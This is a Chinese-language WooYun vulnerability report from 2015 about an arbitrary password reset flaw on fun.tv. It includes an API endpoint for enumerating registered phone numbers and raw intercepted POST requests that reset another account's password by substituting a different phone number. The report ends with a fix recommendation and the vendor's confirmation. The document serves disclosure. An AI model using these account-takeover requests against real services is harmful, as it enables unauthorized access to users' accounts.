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缺陷编号:wooyun-2015-0100600

漏洞标题:风行网任意用户密码重置漏洞

相关厂商:北京风行在线技术有限公司

漏洞作者: 干脆面

提交时间:2015-03-11 17:27

修复时间:2015-04-25 17:28

公开时间:2015-04-25 17:28

漏洞类型:账户体系控制不严

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-11: 厂商已经确认,细节仅向厂商公开
2015-03-21: 细节向核心白帽子及相关领域专家公开
2015-03-31: 细节向普通白帽子公开
2015-04-10: 细节向实习白帽子公开
2015-04-25: 细节向公众公开

简要描述:

手机重置密码,密码重置操作没有关联具体的手机号,导致可重置任意手机注册账户的密码。

详细说明:

1. 通过下面url的返回结果,可以遍历出所有的手机注册账户:
http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/reset_password
存在的账户,返回:
{"status":200,"msg":"","url":"","field":""}
不存在的账户,返回:
{"status":400,"msg":"wrong mobile","url":"","field":""}
2. 手机注册一个账号,执行密码找回,输入接受到的验证码,确定后进入密码重置界面;
3. 输入新的密码,开启 fiddler 截获请求,点击确定;

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
。。。
user_name=电话号码&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670


3. 直接用第一步获取到的手机号码,替换请求中的电话号码,重新发起请求;在验证码的有效期内,密码被重置成功。

漏洞证明:

5.png

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxxx10&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670


POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxx097&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670


修复方案:

凭证用过即失效,凭证和账号关联。

版权声明:转载请注明来源 干脆面@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-03-11 17:32

厂商回复:

感谢您对风行网安全的观注,正在修复中

最新状态:

暂无